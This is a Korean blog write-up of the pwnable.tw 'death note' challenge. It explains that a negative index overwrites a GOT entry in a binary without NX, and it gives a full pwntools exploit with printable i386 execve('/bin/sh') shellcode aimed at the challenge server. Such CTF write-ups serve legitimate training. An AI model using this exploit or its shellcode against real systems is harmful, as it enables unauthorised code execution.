| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 |
Tags
- c# 로컬포트
- sputn
- fclose leak
- puts
- puts분석
- copilot+pc
- OSI
- TcpClient
- Red Dragon
- MICROSOFT365
- fclose
- get local
- hole punching
- puts함수
- 우분투 C#
- stdout flag
- TCP
- copilot
- dotnet publish
- Los
- lord of sql injection
- 스냅드래곤PC
- 홀펀칭
- 스냅드래곤노트북
- c# localport
- libhostpolicy.so
- DotNet
- Blue Dragon
- stdout
- xsputn
Archives
- Today
- Total
Osori Development Studio
[pwnable.tw] death note 본문

예전에 상당히 재미있게 봤었었는데.. ㅎㅎ
문제는 간단하다. 딱히 분석은 없다. 너무 단순해서
NX가 없고, got부분을 네가 작성하는 쉘코드의 주소로 덮어쓸 수 있다.
따라서 내가 작성한 쉘코드를 실행하는 문제이다.

중간에 글 쓰다가 날라갔다. 이 문제는 나에게 있어서 나쁜 기억만 심어주었다.
당연히
char*str={"/bin/sh",0};
execve(str[0],str,0); 으로 쉘코드 작성하면 될줄 알았는데
32bit에서는 execve("/bin/sh",0,0) 이다.

너무 짜증나니까 내 코드를 가져가세요
from pwn import*
p=process('./death_note')
context(os="linux",arch="i386")
p=remote('chall.pwnable.tw',10201)
shell=asm("push ecx")
shell+=asm("push esp")
shell+=asm("push 0x68732f2f")
shell+=asm("push 0x6e69622f")
shell+=asm("push esp")
shell+=asm("pop ebx")
shell+=asm("push ebx")
shell+=asm("push esp")
shell+=asm("pop ecx")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("dec eax")
shell+=asm("xor ax,0x2050")
shell+=asm("xor ax,0x5f62")
shell+=asm("xor [edx+0x47],ax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("pop eax")
shell+=asm("push 0x2b")
shell+=asm("pop eax")
shell+=asm("xor al,0x20")
shell+=asm("pop edx")
shell+=asm("pop edx")
shell+=asm("pop edx")
shell+=asm("pop edx")
shell+=asm("pop edx")
for i in range(16) :
shell+=asm("inc edx")
shell+=asm("push ebx")
shell+=asm("pop esp")
shell+=asm("pop edi")
shell+=asm("pop edi")
shell+=asm("pop edi")
shell+=asm("push edx")
shell+=asm("pop ecx")
print(hex(len(shell)))
print(shell.encode("hex"))
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('Index')
p.sendline('-16')
p.recvuntil('Name')
pause()
p.sendline(shell)
p.interactive()
'전공쪽 > pwnable.tw' 카테고리의 다른 글
| [pwnable.tw] bounty program α (0) | 2021.01.18 |
|---|---|
| [pwnable.tw] starbound (0) | 2020.12.31 |
| [pwnable.tw] tcache tear (0) | 2020.12.27 |
| [pwnable.tw] Re-alloc (0) | 2020.12.24 |
| [pwnable.tw] apple store (0) | 2020.12.24 |